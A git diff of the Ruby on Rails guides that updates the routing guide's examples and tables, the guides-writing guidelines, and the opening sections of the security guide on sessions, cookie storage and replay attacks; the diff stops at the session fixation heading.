'/foo' => '/foo#index'`._ ### Nested Resources @@ -251,15 +267,15 @@ end In addition to the routes for magazines, this declaration will also route ads to an `AdsController`. The ad URLs require a magazine: -| HTTP Verb | Path | Action | Used for | -| --------- | ------------------------------------ | ------- | -------------------------------------------------------------------------- | -| GET | /magazines/:magazine_id/ads | index | display a list of all ads for a specific magazine | -| GET | /magazines/:magazine_id/ads/new | new | return an HTML form for creating a new ad belonging to a specific magazine | -| POST | /magazines/:magazine_id/ads | create | create a new ad belonging to a specific magazine | -| GET | /magazines/:magazine_id/ads/:id | show | display a specific ad belonging to a specific magazine | -| GET | /magazines/:magazine_id/ads/:id/edit | edit | return an HTML form for editing an ad belonging to a specific magazine | -| PATCH/PUT | /magazines/:magazine_id/ads/:id | update | update a specific ad belonging to a specific magazine | -| DELETE | /magazines/:magazine_id/ads/:id | destroy | delete a specific ad belonging to a specific magazine | +| HTTP Verb | Path | Controller#Action | Used for | +| --------- | ------------------------------------ | ----------------- | -------------------------------------------------------------------------- | +| GET | /magazines/:magazine_id/ads | ads#index | display a list of all ads for a specific magazine | +| GET | /magazines/:magazine_id/ads/new | ads#new | return an HTML form for creating a new ad belonging to a specific magazine | +| POST | /magazines/:magazine_id/ads | ads#create | create a new ad belonging to a specific magazine | +| GET | /magazines/:magazine_id/ads/:id | ads#show | display a specific ad belonging to a specific magazine | +| GET | /magazines/:magazine_id/ads/:id/edit | ads#edit | return an HTML form for editing an ad belonging to a specific magazine | +| PATCH/PUT | /magazines/:magazine_id/ads/:id | ads#update | update a specific ad belonging to a specific magazine | +| DELETE | /magazines/:magazine_id/ads/:id | ads#destroy | delete a specific ad belonging to a specific magazine | This will also create routing helpers such as `magazine_ads_url` and `edit_magazine_ad_path`. These helpers take an instance of Magazine as the first parameter (`magazine_ads_url(@magazine)`). @@ -290,7 +306,7 @@ TIP: _Resources should never be nested more than 1 level deep._ One way to avoid deep nesting (as recommended above) is to generate the collection actions scoped under the parent, so as to get a sense of the hierarchy, but to not nest the member actions. In other words, to only build routes with the minimal amount of information to uniquely identify the resource, like this: ```ruby -resources :posts do +resources :articles do resources :comments, only: [:index, :new, :create] end resources :comments, only: [:show, :edit, :update, :destroy] @@ -299,7 +315,7 @@ resources :comments, only: [:show, :edit, :update, :destroy] This idea strikes a balance between descriptive routes and deep nesting. There exists shorthand syntax to achieve just that, via the `:shallow` option: ```ruby -resources :posts do +resources :articles do resources :comments, shallow: true end ``` @@ -307,7 +323,7 @@ end This will generate the exact same routes as the first example. You can also specify the `:shallow` option in the parent resource, in which case all of the nested resources will be shallow: ```ruby -resources :posts, shallow: true do +resources :articles, shallow: true do resources :comments resources :quotes resources :drafts @@ -318,7 +334,7 @@ The `shallow` method of the DSL creates a scope inside of which every nesting is ```ruby shallow do - resources :posts do + resources :articles do resources :comments resources :quotes resources :drafts @@ -326,11 +342,11 @@ shallow do end ``` -There exists two options for `scope` to customize shallow routes. `:shallow_path` prefixes member paths with the specified parameter: +There exist two options for `scope` to customize shallow routes. `:shallow_path` prefixes member paths with the specified parameter: ```ruby scope shallow_path: "sekret" do - resources :posts do + resources :articles do resources :comments, shallow: true end end @@ -338,21 +354,21 @@ end The comments resource here will have the following routes generated for it: -| HTTP Verb | Path | Named Helper | -| --------- | -------------------------------------- | ------------------- | -| GET | /posts/:post_id/comments(.:format) | post_comments | -| POST | /posts/:post_id/comments(.:format) | post_comments | -| GET | /posts/:post_id/comments/new(.:format) | new_post_comment | -| GET | /sekret/comments/:id/edit(.:format) | edit_comment | -| GET | /sekret/comments/:id(.:format) | comment | -| PATCH/PUT | /sekret/comments/:id(.:format) | comment | -| DELETE | /sekret/comments/:id(.:format) | comment | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | -------------------------------------------- | ----------------- | ------------------------ | +| GET | /articles/:article_id/comments(.:format) | comments#index | article_comments_path | +| POST | /articles/:article_id/comments(.:format) | comments#create | article_comments_path | +| GET | /articles/:article_id/comments/new(.:format) | comments#new | new_article_comment_path | +| GET | /sekret/comments/:id/edit(.:format) | comments#edit | edit_comment_path | +| GET | /sekret/comments/:id(.:format) | comments#show | comment_path | +| PATCH/PUT | /sekret/comments/:id(.:format) | comments#update | comment_path | +| DELETE | /sekret/comments/:id(.:format) | comments#destroy | comment_path | The `:shallow_prefix` option adds the specified parameter to the named helpers: ```ruby scope shallow_prefix: "sekret" do - resources :posts do + resources :articles do resources :comments, shallow: true end end @@ -360,19 +376,19 @@ end The comments resource here will have the following routes generated for it: -| HTTP Verb | Path | Named Helper | -| --------- | -------------------------------------- | ------------------- | -| GET | /posts/:post_id/comments(.:format) | post_comments | -| POST | /posts/:post_id/comments(.:format) | post_comments | -| GET | /posts/:post_id/comments/new(.:format) | new_post_comment | -| GET | /comments/:id/edit(.:format) | edit_sekret_comment | -| GET | /comments/:id(.:format) | sekret_comment | -| PATCH/PUT | /comments/:id(.:format) | sekret_comment | -| DELETE | /comments/:id(.:format) | sekret_comment | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | -------------------------------------------- | ----------------- | --------------------------- | +| GET | /articles/:article_id/comments(.:format) | comments#index | article_comments_path | +| POST | /articles/:article_id/comments(.:format) | comments#create | article_comments_path | +| GET | /articles/:article_id/comments/new(.:format) | comments#new | new_article_comment_path | +| GET | /comments/:id/edit(.:format) | comments#edit | edit_sekret_comment_path | +| GET | /comments/:id(.:format) | comments#show | sekret_comment_path | +| PATCH/PUT | /comments/:id(.:format) | comments#update | sekret_comment_path | +| DELETE | /comments/:id(.:format) | comments#destroy | sekret_comment_path | ### Routing concerns -Routing Concerns allows you to declare common routes that can be reused inside others resources and routes. To define a concern: +Routing Concerns allows you to declare common routes that can be reused inside other resources and routes. To define a concern: ```ruby concern :commentable do @@ -389,7 +405,7 @@ These concerns can be used in resources to avoid code duplication and share beha ```ruby resources :messages, concerns: :commentable -resources :posts, concerns: [:commentable, :image_attachable] +resources :articles, concerns: [:commentable, :image_attachable] ``` The above is equivalent to: @@ -399,7 +415,7 @@ resources :messages do resources :comments end -resources :posts do +resources :articles do resources :comments resources :images, only: :index end @@ -408,7 +424,7 @@ end Also you can use them in any place that you want inside the routes, for example in a scope or namespace call: ```ruby -namespace :posts do +namespace :articles do concerns :commentable end ``` @@ -473,7 +489,10 @@ end This will recognize `/photos/1/preview` with GET, and route to the `preview` action of `PhotosController`, with the resource id value passed in `params[:id]`. It will also create the `preview_photo_url` and `preview_photo_path` helpers. -Within the block of member routes, each route name specifies the HTTP verb that it will recognize. You can use `get`, `patch`, `put`, `post`, or `delete` here. If you don't have multiple `member` routes, you can also pass `:on` to a route, eliminating the block: +Within the block of member routes, each route name specifies the HTTP verb +will be recognized. You can use `get`, `patch`, `put`, `post`, or `delete` here +. If you don't have multiple `member` routes, you can also pass `:on` to a +route, eliminating the block: ```ruby resources :photos do @@ -530,7 +549,7 @@ In particular, simple routing makes it very easy to map legacy URLs to new Rails ### Bound Parameters -When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: `:controller` maps to the name of a controller in your application, and `:action` maps to the name of an action within that controller. For example, consider one of the default Rails routes: +When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: `:controller` maps to the name of a controller in your application, and `:action` maps to the name of an action within that controller. For example, consider this route: ```ruby get ':controller(/:action(/:id))' @@ -614,7 +633,7 @@ This will define a `user_path` method that will be available in controllers, hel ### HTTP Verb Constraints -In general, you should use the `get`, `post`, `put` and `delete` methods to constrain a route to a particular verb. You can use the `match` method with the `:via` option to match multiple verbs at once: +In general, you should use the `get`, `post`, `put`, `patch` and `delete` methods to constrain a route to a particular verb. You can use the `match` method with the `:via` option to match multiple verbs at once: ```ruby match 'photos', to: 'photos#show', via: [:get, :post] @@ -628,6 +647,8 @@ match 'photos', to: 'photos#show', via: :all NOTE: Routing both `GET` and `POST` requests to a single action has security implications. In general, you should avoid routing all verbs to an action unless you have a good reason to. +NOTE: 'GET' in Rails won't check for CSRF token. You should never write to the database from 'GET' requests, for more information see the [security guide](security.html#csrf-countermeasures) on CSRF countermeasures. + ### Segment Constraints You can use the `:constraints` option to enforce a format for a dynamic segment: @@ -645,26 +666,26 @@ get 'photos/:id', to: 'photos#show', id: /[A-Z]\d{5}/ `:constraints` takes regular expressions with the restriction that regexp anchors can't be used. For example, the following route will not work: ```ruby -get '/:id', to: 'posts#show', constraints: {id: /^\d/} +get '/:id', to: 'articles#show', constraints: { id: /^\d/ } ``` However, note that you don't need to use anchors because all routes are anchored at the start. -For example, the following routes would allow for `posts` with `to_param` values like `1-hello-world` that always begin with a number and `users` with `to_param` values like `david` that never begin with a number to share the root namespace: +For example, the following routes would allow for `articles` with `to_param` values like `1-hello-world` that always begin with a number and `users` with `to_param` values like `david` that never begin with a number to share the root namespace: ```ruby -get '/:id', to: 'posts#show', constraints: { id: /\d.+/ } +get '/:id', to: 'articles#show', constraints: { id: /\d.+/ } get '/:username', to: 'users#show' ``` ### Request-Based Constraints -You can also constrain a route based on any method on the <a href="action_controller_overview.html#the-request-object">Request</a> object that returns a `String`. +You can also constrain a route based on any method on the [Request object](action_controller_overview.html#the-request-object) that returns a `String`. You specify a request-based constraint the same way that you specify a segment constraint: ```ruby -get 'photos', constraints: {subdomain: 'admin'} +get 'photos', to: 'photos#index', constraints: { subdomain: 'admin' } ``` You can also specify constraints in a block form: @@ -677,6 +698,8 @@ namespace :admin do end ``` +NOTE: Request constraints work by calling a method on the [Request object](action_controller_overview.html#the-request-object) with the same name as the hash key and then compare the return value with the hash value. Therefore, constraint values should match the corresponding Request object method return type. For example: `constraints: { subdomain: 'api' }` will match an `api` subdomain as expected, however using a symbol `constraints: { subdomain: :api }` will not, because `request.subdomain` returns `'api'` as a String. + ### Advanced Constraints If you have a more advanced constraint, you can provide an object that responds to `matches?` that Rails should use. Let's say you wanted to route all users on a blacklist to the `BlacklistController`. You could do: @@ -692,7 +715,7 @@ class BlacklistConstraint end end -TwitterClone::Application.routes.draw do +Rails.application.routes.draw do get '*path', to: 'blacklist#index', constraints: BlacklistConstraint.new end @@ -701,7 +724,7 @@ end You can also specify constraints as a lambda: ```ruby -TwitterClone::Application.routes.draw do +Rails.application.routes.draw do get '*path', to: 'blacklist#index', constraints: lambda { |request| Blacklist.retrieve_ips.include?(request.remote_ip) } end @@ -735,7 +758,7 @@ get '*a/foo/*b', to: 'test#index' would match `zoo/woo/foo/bar/baz` with `params[:a]` equals `'zoo/woo'`, and `params[:b]` equals `'bar/baz'`. -NOTE: By requesting `'/foo/bar.json'`, your `params[:pages]` will be equals to `'foo/bar'` with the request format of JSON. If you want the old 3.0.x behavior back, you could supply `format: false` like this: +NOTE: By requesting `'/foo/bar.json'`, your `params[:pages]` will be equal to `'foo/bar'` with the request format of JSON. If you want the old 3.0.x behavior back, you could supply `format: false` like this: ```ruby get '*pages', to: 'pages#show', format: false @@ -752,20 +775,20 @@ get '*pages', to: 'pages#show', format: true You can redirect any path to another path using the `redirect` helper in your router: ```ruby -get '/stories', to: redirect('/posts') +get '/stories', to: redirect('/articles') ``` You can also reuse dynamic segments from the match in the path to redirect to: ```ruby -get '/stories/:name', to: redirect('/posts/%{name}') +get '/stories/:name', to: redirect('/articles/%{name}') ``` -You can also provide a block to redirect, which receives the params and the request object: +You can also provide a block to redirect, which receives the symbolized path parameters and the request object: ```ruby -get '/stories/:name', to: redirect {|params, req| "/posts/#{params[:name].pluralize}" } -get '/stories', to: redirect {|p, req| "/posts/#{req.subdomain}" } +get '/stories/:name', to: redirect { |path_params, req| "/articles/#{path_params[:name].pluralize}" } +get '/stories', to: redirect { |path_params, req| "/articles/#{req.subdomain}" } ``` Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible. @@ -774,7 +797,7 @@ In all of these cases, if you don't provide the leading host (`http://www.exampl ### Routing to Rack Applications -Instead of a String like `'posts#index'`, which corresponds to the `index` action in the `PostsController`, you can specify any <a href="rails_on_rack.html">Rack application</a> as the endpoint for a matcher: +Instead of a String like `'articles#index'`, which corresponds to the `index` action in the `ArticlesController`, you can specify any [Rack application](rails_on_rack.html) as the endpoint for a matcher: ```ruby match '/application.js', to: Sprockets, via: :all @@ -782,7 +805,7 @@ match '/application.js', to: Sprockets, via: :all As long as `Sprockets` responds to `call` and returns a `[status, headers, body]`, the router won't know the difference between the Rack application and an action. This is an appropriate use of `via: :all`, as you will want to allow your Rack application to handle all verbs as it considers appropriate. -NOTE: For the curious, `'posts#index'` actually expands out to `PostsController.action(:index)`, which returns a valid Rack application. +NOTE: For the curious, `'articles#index'` actually expands out to `ArticlesController.action(:index)`, which returns a valid Rack application. ### Using `root` @@ -797,6 +820,16 @@ You should put the `root` route at the top of the file, because it is the most p NOTE: The `root` route only routes `GET` requests to the action. +You can also use root inside namespaces and scopes as well. For example: + +```ruby +namespace :admin do + root to: "admin#index" +end + +root to: "home#index" +``` + ### Unicode character routes You can specify unicode character routes directly. For example: @@ -808,7 +841,7 @@ get 'こんにちは', to: 'welcome#index' Customizing Resourceful Routes ------------------------------ -While the default routes and helpers generated by `resources :posts` will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers. +While the default routes and helpers generated by `resources :articles` will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers. ### Specifying a Controller to Use @@ -820,24 +853,37 @@ resources :photos, controller: 'images' will recognize incoming paths beginning with `/photos` but route to the `Images` controller: -| HTTP Verb | Path | Action | Named Helper | -| --------- | ---------------- | ------- | -------------------- | -| GET | /photos | index | photos_path | -| GET | /photos/new | new | new_photo_path | -| POST | /photos | create | photos_path | -| GET | /photos/:id | show | photo_path(:id) | -| GET | /photos/:id/edit | edit | edit_photo_path(:id) | -| PATCH/PUT | /photos/:id | update | photo_path(:id) | -| DELETE | /photos/:id | destroy | photo_path(:id) | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | ---------------- | ----------------- | -------------------- | +| GET | /photos | images#index | photos_path | +| GET | /photos/new | images#new | new_photo_path | +| POST | /photos | images#create | photos_path | +| GET | /photos/:id | images#show | photo_path(:id) | +| GET | /photos/:id/edit | images#edit | edit_photo_path(:id) | +| PATCH/PUT | /photos/:id | images#update | photo_path(:id) | +| DELETE | /photos/:id | images#destroy | photo_path(:id) | NOTE: Use `photos_path`, `new_photo_path`, etc. to generate paths for this resource. +For namespaced controllers you can use the directory notation. For example: + +```ruby +resources :user_permissions, controller: 'admin/user_permissions' +``` + +This will route to the `Admin::UserPermissions` controller. + +NOTE: Only the directory notation is supported. Specifying the +controller with Ruby constant notation (eg. `controller: 'Admin::UserPermissions'`) +can lead to routing problems and results in +a warning. + ### Specifying Constraints You can use the `:constraints` option to specify a required format on the implicit `id`. For example: ```ruby -resources :photos, constraints: {id: /[A-Z][A-Z][0-9]+/} +resources :photos, constraints: { id: /[A-Z][A-Z][0-9]+/ } ``` This declaration constrains the `:id` parameter to match the supplied regular expression. So, in this case, the router would no longer match `/photos/1` to this route. Instead, `/photos/RR27` would match. @@ -865,19 +911,19 @@ resources :photos, as: 'images' will recognize incoming paths beginning with `/photos` and route the requests to `PhotosController`, but use the value of the :as option to name the helpers. -| HTTP Verb | Path | Action | Named Helper | -| --------- | ---------------- | ------- | -------------------- | -| GET | /photos | index | images_path | -| GET | /photos/new | new | new_image_path | -| POST | /photos | create | images_path | -| GET | /photos/:id | show | image_path(:id) | -| GET | /photos/:id/edit | edit | edit_image_path(:id) | -| PATCH/PUT | /photos/:id | update | image_path(:id) | -| DELETE | /photos/:id | destroy | image_path(:id) | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | ---------------- | ----------------- | -------------------- | +| GET | /photos | photos#index | images_path | +| GET | /photos/new | photos#new | new_image_path | +| POST | /photos | photos#create | images_path | +| GET | /photos/:id | photos#show | image_path(:id) | +| GET | /photos/:id/edit | photos#edit | edit_image_path(:id) | +| PATCH/PUT | /photos/:id | photos#update | image_path(:id) | +| DELETE | /photos/:id | photos#destroy | image_path(:id) | ### Overriding the `new` and `edit` Segments -The `:path_names` option lets you override the automatically-generated "new" and "edit" segments in paths: +The `:path_names` option lets you override the automatically-generated `new` and `edit` segments in paths: ```ruby resources :photos, path_names: { new: 'make', edit: 'change' } @@ -912,7 +958,7 @@ end resources :photos ``` -This will provide route helpers such as `admin_photos_path`, `new_admin_photo_path` etc. +This will provide route helpers such as `admin_photos_path`, `new_admin_photo_path`, etc. To prefix a group of route helpers, use `:as` with `scope`: @@ -932,15 +978,15 @@ You can prefix routes with a named parameter also: ```ruby scope ':username' do - resources :posts + resources :articles end ``` -This will provide you with URLs such as `/bob/posts/1` and will allow you to reference the `username` part of the path as `params[:username]` in controllers, helpers and views. +This will provide you with URLs such as `/bob/articles/1` and will allow you to reference the `username` part of the path as `params[:username]` in controllers, helpers and views. ### Restricting the Routes Created -By default, Rails creates routes for the seven default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the `:only` and `:except` options to fine-tune this behavior. The `:only` option tells Rails to create only the specified routes: +By default, Rails creates routes for the seven default actions (`index`, `show`, `new`, `create`, `edit`, `update`, and `destroy`) for every RESTful route in your application. You can use the `:only` and `:except` options to fine-tune this behavior. The `:only` option tells Rails to create only the specified routes: ```ruby resources :photos, only: [:index, :show] @@ -970,15 +1016,15 @@ end Rails now creates routes to the `CategoriesController`. -| HTTP Verb | Path | Action | Used for | -| --------- | -------------------------- | ------- | ----------------------- | -| GET | /kategorien | index | categories_path | -| GET | /kategorien/neu | new | new_category_path | -| POST | /kategorien | create | categories_path | -| GET | /kategorien/:id | show | category_path(:id) | -| GET | /kategorien/:id/bearbeiten | edit | edit_category_path(:id) | -| PATCH/PUT | /kategorien/:id | update | category_path(:id) | -| DELETE | /kategorien/:id | destroy | category_path(:id) | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | -------------------------- | ------------------ | ----------------------- | +| GET | /kategorien | categories#index | categories_path | +| GET | /kategorien/neu | categories#new | new_category_path | +| POST | /kategorien | categories#create | categories_path | +| GET | /kategorien/:id | categories#show | category_path(:id) | +| GET | /kategorien/:id/bearbeiten | categories#edit | edit_category_path(:id) | +| PATCH/PUT | /kategorien/:id | categories#update | category_path(:id) | +| DELETE | /kategorien/:id | categories#destroy | category_path(:id) | ### Overriding the Singular Form @@ -1002,6 +1048,28 @@ end This will create routing helpers such as `magazine_periodical_ads_url` and `edit_magazine_periodical_ad_path`. +### Overriding Named Route Parameters + +The `:param` option overrides the default resource identifier `:id` (name of +the [dynamic segment](routing.html#dynamic-segments) used to generate the +routes). You can access that segment from your controller using +`params[<:param>]`. + +```ruby +resources :videos, param: :identifier +``` + +``` + videos GET /videos(.:format) videos#index + POST /videos(.:format) videos#create + new_videos GET /videos/new(.:format) videos#new +edit_videos GET /videos/:identifier/edit(.:format) videos#edit +``` + +```ruby +Video.find_by(identifier: params[:identifier]) +``` + Inspecting and Testing Routes ----------------------------- @@ -1030,7 +1098,7 @@ edit_user GET /users/:id/edit(.:format) users#edit You may restrict the listing to the routes that map to a particular controller setting the `CONTROLLER` environment variable: ```bash -$ CONTROLLER=users rake routes +$ CONTROLLER=users bin/rake routes ``` TIP: You'll find that the output from `rake routes` is much more readable if you widen your terminal window until the output lines don't wrap. diff --git a/guides/source/ruby_on_rails_guides_guidelines.md b/guides/source/ruby_on_rails_guides_guidelines.md index a78711f4b2..0ecf8a80df 100644 --- a/guides/source/ruby_on_rails_guides_guidelines.md +++ b/guides/source/ruby_on_rails_guides_guidelines.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Ruby on Rails Guides Guidelines =============================== @@ -13,17 +15,17 @@ After reading this guide, you will know: Markdown ------- -Guides are written in [GitHub Flavored Markdown](http://github.github.com/github-flavored-markdown/). There is comprehensive [documentation for Markdown](http://daringfireball.net/projects/markdown/syntax), a [cheatsheet](http://daringfireball.net/projects/markdown/basics), and [additional documentation](http://github.github.com/github-flavored-markdown/) on the differences from traditional Markdown. +Guides are written in [GitHub Flavored Markdown](https://help.github.com/articles/github-flavored-markdown). There is comprehensive [documentation for Markdown](http://daringfireball.net/projects/markdown/syntax), as well as a [cheatsheet](http://daringfireball.net/projects/markdown/basics). Prologue -------- -Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. See for example the [Routing Guide](routing.html). +Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. As an example, see the [Routing Guide](routing.html). -Titles +Headings ------ -The title of every guide uses `h1`; guide sections use `h2`; subsections `h3`; etc. However, the generated HTML output will have the heading tag starting from `<h2>`. +The title of every guide uses an `h1` heading; guide sections use `h2` headings; subsections use `h3` headings; etc. Note that the generated HTML output will use heading tags starting with `<h2>`. ``` Guide Title @@ -35,14 +37,14 @@ Section ### Sub Section ``` -Capitalize all words except for internal articles, prepositions, conjunctions, and forms of the verb to be: +When writing headings, capitalize all words except for prepositions, conjunctions, internal articles, and forms of the verb "to be": ``` #### Middleware Stack is an Array #### When are Objects Saved? ``` -Use the same typography as in regular text: +Use the same inline formatting as regular text: ``` ##### The `:content_type` Option @@ -51,21 +53,24 @@ Use the same typography as in regular text: API Documentation Guidelines ---------------------------- -The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the [API Documentation Guidelines](api_documentation_guidelines.html:) +The guides and the API should be coherent and consistent where appropriate. In particular, these sections of the [API Documentation Guidelines](api_documentation_guidelines.html) also apply to the guides: * [Wording](api_documentation_guidelines.html#wording) +* [English](api_documentation_guidelines.html#english) * [Example Code](api_documentation_guidelines.html#example-code) -* [Filenames](api_documentation_guidelines.html#filenames) +* [Filenames](api_documentation_guidelines.html#file-names) * [Fonts](api_documentation_guidelines.html#fonts) -Those guidelines apply also to guides. - HTML Guides ----------- +Before generating the guides, make sure that you have the latest version of Bundler installed on your system. As of this writing, you must install Bundler 1.3.5 on your device. + +To install the latest version of Bundler, run `gem install bundler`. + ### Generation -To generate all the guides, just `cd` into the **`guides`** directory, run `bundle install` and execute: +To generate all the guides, just `cd` into the `guides` directory, run `bundle install`, and execute: ``` bundle exec rake guides:generate diff --git a/guides/source/security.md b/guides/source/security.md index 0b0cfe69c4..4a80edbdad 100644 --- a/guides/source/security.md +++ b/guides/source/security.md @@ -1,4 +1,6 @@ -Ruby On Rails Security Guide +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + +Ruby on Rails Security Guide ============================ This manual describes common security problems in web applications and how to avoid them with Rails. @@ -9,7 +11,6 @@ After reading this guide, you will know: * The concept of sessions in Rails, what to put in there and popular attack methods. * How just visiting a site can be a security problem (with CSRF). * What you have to pay attention to when working with files or providing an administration interface. -* The Rails-specific mass assignment problem. * How to manage users: Logging in and out and attack methods on all layers. * And the most popular injection attack methods. @@ -18,7 +19,7 @@ After reading this guide, you will know: Introduction ------------ -Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security. +Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications). @@ -26,7 +27,7 @@ The Gartner Group however estimates that 75% of attacks are at the web applicati The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at. -In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that's how you find the nasty logical security problems. +In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the [Additional Resources](#additional-resources) chapter). It is done manually because that's how you find the nasty logical security problems. Sessions -------- @@ -59,9 +60,9 @@ WARNING: _Stealing a user's session id lets an attacker use the web application Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session. -Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures: +Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user - with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures: -* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file: +* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file: ```ruby config.force_ssl = true @@ -69,11 +70,11 @@ Hence, the cookie serves as temporary authentication for the web application. Ev * Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _log-out button_ in the web application, and _make it prominent_. -* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later. +* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read [more about XSS](#cross-site-scripting-xss) later. -* Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later. +* Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later. -The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf). +The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf). ### Session Guidelines @@ -82,7 +83,7 @@ Here are some general guidelines on sessions. * _Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below). This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate. -* _Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data. +* _Critical data should not be stored in session_. If the user clears their cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data. ### Session Storage @@ -94,11 +95,18 @@ Rails 2 introduced a new default session storage, CookieStore. CookieStore saves * The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie. -That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. +That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA1, for compatibility). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. + +`secrets.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `secrets.secret_key_base` initialized to a random key present in `config/secrets.yml`, e.g.: + + development: + secret_key_base: a75d... -`config.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `config.secret_key_base` initialized to a random key in `config/initializers/secret_token.rb`, e.g.: + test: + secret_key_base: 492f... - YourApp::Application.config.secret_key_base = '49d3f3de9ed86c74b94ad6bd0...' + production: + secret_key_base: <%= ENV["SECRET_KEY_BASE"] %> Older versions of Rails use CookieStore, which uses `secret_token` instead of `secret_key_base` that is used by EncryptedCookieStore. Read the upgrade documentation for more information. @@ -112,9 +120,9 @@ It works like this: * A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes). * The user buys something. -* His new, lower credit will be stored in the session. -* The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser. -* The user has his credit back. +* The new adjusted credit value is stored in the session. +* The user takes the cookie from the first step (which they previously copied) and replaces the current cookie in the browser. +* The user has their original credit back. Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database). @@ -122,20 +130,20 @@ The best _solution against it is not to store this kind of data in a session, bu ### Session Fixation 